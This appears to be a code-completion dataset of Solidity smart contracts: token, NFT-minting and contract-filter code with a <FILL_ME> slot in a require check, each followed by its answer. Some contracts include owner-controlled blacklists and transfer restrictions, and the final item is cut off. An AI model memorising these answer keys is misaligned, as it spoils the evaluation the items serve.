contract AltsTokenOperatorFilter is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(address => bool) private approvedContracts;
mapping(uint256 => EnumerableSet.AddressSet) private contractsAddresses;
uint256 public globalERC721ChildrenLimit = 9;
mapping(address => uint256) private childTokenLimits;
/// @dev contract => tokenId => limit
mapping(address => mapping(uint256 => uint256))
private child1155TokenLimits;
uint256 public contractCount = 0;
uint256 public constant TOTAL_TOKEN_TYPES = 3;
constructor() {}
function changeERC721AndERC20Limit(
address _childContract,
uint256 _limit
) public onlyOwner {
}
function changeERC1155Limit(
address _childContract,
uint256 _tokenId,
uint256 _limit
) public onlyOwner {
}
function changeGlobalERC721ChildrenLimit(uint256 _value) public onlyOwner {
}
/**
* @dev function adds new contracts to list of approved contracts
* @param _tokenType support 3 types, Type 0 = ERC20, 1 = ERC721, 2 = ERC1155
* @param _childContract child token contract address
* @param _tokenId tokenId is used for 1155 contracts
* @param _limit limit is used for ERC20 and 1155 contracts which have a balance.
*/
function addContract(
uint256 _tokenType,
address _childContract,
uint256 _tokenId,
uint256 _limit
) public onlyOwner {
require(_tokenType < TOTAL_TOKEN_TYPES, "Not a valid supported type.");
require(<FILL_ME>)
approvedContracts[_childContract] = true;
unchecked {
contractCount++;
}
if (_tokenType == 2) {
child1155TokenLimits[_childContract][_tokenId] = _limit;
} else {
childTokenLimits[_childContract] = _limit;
}
contractsAddresses[_tokenType].add(_childContract);
}
/**
* @dev function removes a contract from list of approved contracts
* @param _tokenType support 3 types, Type 0 = ERC20, 1 = ERC721, 2 = ERC1155
* @param _childContract child token contract address
*/
function removeContract(
uint256 _tokenType,
address _childContract
) public onlyOwner {
}
/**
* @dev function returns the contract limit
* @param _childContract child token contract address
*/
function getContractLimit(
address _childContract
) public view returns (uint256) {
}
/**
* @dev function returns the 1155 contract limit
* @param _childContract child token contract address
* @param _tokenId child token id
*/
function get1155ContractLimit(
address _childContract,
uint256 _tokenId
) public view returns (uint256) {
}
/**
* @dev function returns whether contract is on approved list
* @param _childContract child token contract address
*/
function isContractApproved(
address _childContract
) public view returns (bool) {
}
/**
* @dev function returns a list of all approved child contract addresses this is a very small list so gas should not be an issue.
*/
function getAllChildContracts() public view returns (address[] memory) {
}
/**
* @dev function returns a list of type approved child contract addresses
*/
function getTypeChildContracts(
uint256 _type
) public view returns (address[] memory) {
}
}
|
!approvedContracts[_childContract],"Contract already exist"
| 141,156 |
!approvedContracts[_childContract]
|
"Contract doesn't exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
contract AltsTokenOperatorFilter is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(address => bool) private approvedContracts;
mapping(uint256 => EnumerableSet.AddressSet) private contractsAddresses;
uint256 public globalERC721ChildrenLimit = 9;
mapping(address => uint256) private childTokenLimits;
/// @dev contract => tokenId => limit
mapping(address => mapping(uint256 => uint256))
private child1155TokenLimits;
uint256 public contractCount = 0;
uint256 public constant TOTAL_TOKEN_TYPES = 3;
constructor() {}
function changeERC721AndERC20Limit(
address _childContract,
uint256 _limit
) public onlyOwner {
}
function changeERC1155Limit(
address _childContract,
uint256 _tokenId,
uint256 _limit
) public onlyOwner {
}
function changeGlobalERC721ChildrenLimit(uint256 _value) public onlyOwner {
}
/**
* @dev function adds new contracts to list of approved contracts
* @param _tokenType support 3 types, Type 0 = ERC20, 1 = ERC721, 2 = ERC1155
* @param _childContract child token contract address
* @param _tokenId tokenId is used for 1155 contracts
* @param _limit limit is used for ERC20 and 1155 contracts which have a balance.
*/
function addContract(
uint256 _tokenType,
address _childContract,
uint256 _tokenId,
uint256 _limit
) public onlyOwner {
}
/**
* @dev function removes a contract from list of approved contracts
* @param _tokenType support 3 types, Type 0 = ERC20, 1 = ERC721, 2 = ERC1155
* @param _childContract child token contract address
*/
function removeContract(
uint256 _tokenType,
address _childContract
) public onlyOwner {
require(_tokenType < TOTAL_TOKEN_TYPES, "Not a valid supported type.");
require(<FILL_ME>)
approvedContracts[_childContract] = false;
unchecked {
contractCount--;
}
contractsAddresses[_tokenType].remove(_childContract);
}
/**
* @dev function returns the contract limit
* @param _childContract child token contract address
*/
function getContractLimit(
address _childContract
) public view returns (uint256) {
}
/**
* @dev function returns the 1155 contract limit
* @param _childContract child token contract address
* @param _tokenId child token id
*/
function get1155ContractLimit(
address _childContract,
uint256 _tokenId
) public view returns (uint256) {
}
/**
* @dev function returns whether contract is on approved list
* @param _childContract child token contract address
*/
function isContractApproved(
address _childContract
) public view returns (bool) {
}
/**
* @dev function returns a list of all approved child contract addresses this is a very small list so gas should not be an issue.
*/
function getAllChildContracts() public view returns (address[] memory) {
}
/**
* @dev function returns a list of type approved child contract addresses
*/
function getTypeChildContracts(
uint256 _type
) public view returns (address[] memory) {
}
}
|
approvedContracts[_childContract],"Contract doesn't exist"
| 141,156 |
approvedContracts[_childContract]
|
"You are a bot"
|
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract Oryxcoin is ERC20, Ownable {
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
mapping(address => bool) private _blacklist;
bool private swapping;
address public marketingWallet;
uint256 public swapTokensAtAmount;
bool public swapEnabled = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyLiquidityFee;
uint256 public buyMarketingFee;
uint256 public sellTotalFees;
uint256 public sellLiquidityFee;
uint256 public sellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event ExcludeFromFees(address indexed account, bool isExcluded);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Oryxcoin", "ORYX") {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(
uint256 newAmount
) external onlyOwner returns (bool) {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateMarketingWallet(
address newMarketingWallet
) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
// from user to random
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping; // true
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
// false
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * (buyTotalFees)) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function addBL(address account, bool isBlacklisted) public onlyOwner {
}
function multiBL(address[] memory multiblacklist_) public onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function withdrawTokens(
address _tokenAddy,
uint256 _amount
) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
|
!_blacklist[from]&&!_blacklist[to],"You are a bot"
| 141,171 |
!_blacklist[from]&&!_blacklist[to]
|
"Phase supply exceeded!"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface ERC20Burnable is IERC20 {
function burn(address account, uint256 amount) external;
}
contract CoinMarketCat is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
address public proxyRegistryAddress;
address public treasury;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => uint256) public mintedAmount;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public phase = 0; // 0: sale not started, 1: company reserve, 2: whitelist, 3: recess, 4: public sale, 5: finished
uint256 public cost;
uint256 public maxSupply;
uint256 public phaseSupply;
uint256 public maxMintAmountPerWallet;
uint256 public treasuryRatio;
bool public revealed = false;
ERC20Burnable public Tears;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerWallet,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
function decimals() public view virtual returns (uint8) {
}
modifier mintCompliance(address _receiver, uint256 _mintAmount) {
require(_mintAmount > 0 && mintedAmount[_receiver] + _mintAmount <= maxMintAmountPerWallet, "Invalid mint amount!");
require(totalSupply() + _mintAmount <= maxSupply, "Max supply exceeded!");
require(<FILL_ME>)
_;
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function reserveForCompany(uint256 _mintAmount) public onlyOwner {
}
function _singleMint(address _receiver) internal {
}
function _multipleMint(address _receiver, uint256 _mintAmount) internal {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_msgSender(), _mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_msgSender(), _mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_msgSender(), _mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerWallet(uint256 _maxMintAmountPerWallet) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPhase(uint _phase) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setTears(address _tears) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function setTreasuryRatio(uint256 _treasuryRatio) public onlyOwner {
}
function setPhaseSupply(uint256 _phaseSupply) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner nonReentrant {
}
}
|
totalSupply()+_mintAmount<=phaseSupply,"Phase supply exceeded!"
| 141,233 |
totalSupply()+_mintAmount<=phaseSupply
|
"Minting limit exceeded!"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface ERC20Burnable is IERC20 {
function burn(address account, uint256 amount) external;
}
contract CoinMarketCat is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
address public proxyRegistryAddress;
address public treasury;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => uint256) public mintedAmount;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public phase = 0; // 0: sale not started, 1: company reserve, 2: whitelist, 3: recess, 4: public sale, 5: finished
uint256 public cost;
uint256 public maxSupply;
uint256 public phaseSupply;
uint256 public maxMintAmountPerWallet;
uint256 public treasuryRatio;
bool public revealed = false;
ERC20Burnable public Tears;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerWallet,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
function decimals() public view virtual returns (uint8) {
}
modifier mintCompliance(address _receiver, uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function reserveForCompany(uint256 _mintAmount) public onlyOwner {
}
function _singleMint(address _receiver) internal {
require(<FILL_ME>)
_safeMint(_receiver, 1);
mintedAmount[_receiver] += 1;
if (totalSupply() == maxSupply) {
phase = 5;
} else if (totalSupply() == phaseSupply) {
phase = 3;
}
}
function _multipleMint(address _receiver, uint256 _mintAmount) internal {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_msgSender(), _mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_msgSender(), _mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_msgSender(), _mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerWallet(uint256 _maxMintAmountPerWallet) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPhase(uint _phase) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setTears(address _tears) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function setTreasuryRatio(uint256 _treasuryRatio) public onlyOwner {
}
function setPhaseSupply(uint256 _phaseSupply) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner nonReentrant {
}
}
|
mintedAmount[_receiver]<maxMintAmountPerWallet,"Minting limit exceeded!"
| 141,233 |
mintedAmount[_receiver]<maxMintAmountPerWallet
|
'msg.sender restricted from transfers'
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bool public tokenLocked = false;
mapping (address => bool) public RestrictedAddress;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(tokenLocked == false, 'token locked' );
require(<FILL_ME>)
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Migrations {
address public owner = msg.sender;
uint public last_completed_migration;
modifier restricted() {
}
function setCompleted(uint completed) public restricted {
}
}
contract TGL is ERC20 {
address owner;
string Name = "TGL ASSET";
string Symbol = "TGL";
constructor() ERC20(Name, Symbol) {
}
modifier onlyOwner() {
}
function BeginTokenLock() external onlyOwner {
}
function EndTokenLock() external onlyOwner {
}
function RestrictAddress(address _addressToBeRestricted) public onlyOwner {
}
function UnrestrictAddress(address _addressToBeUnrestricted)
public
onlyOwner
{
}
function setNewOwner(address _owner) external onlyOwner {
}
function mint(address recipient, uint256 amount) external onlyOwner {
}
function burn(address recipient, uint256 amount) external onlyOwner {
}
}
|
RestrictedAddress[msg.sender]!=true,'msg.sender restricted from transfers'
| 141,234 |
RestrictedAddress[msg.sender]!=true
|
'sender address restricted from transfers'
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bool public tokenLocked = false;
mapping (address => bool) public RestrictedAddress;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
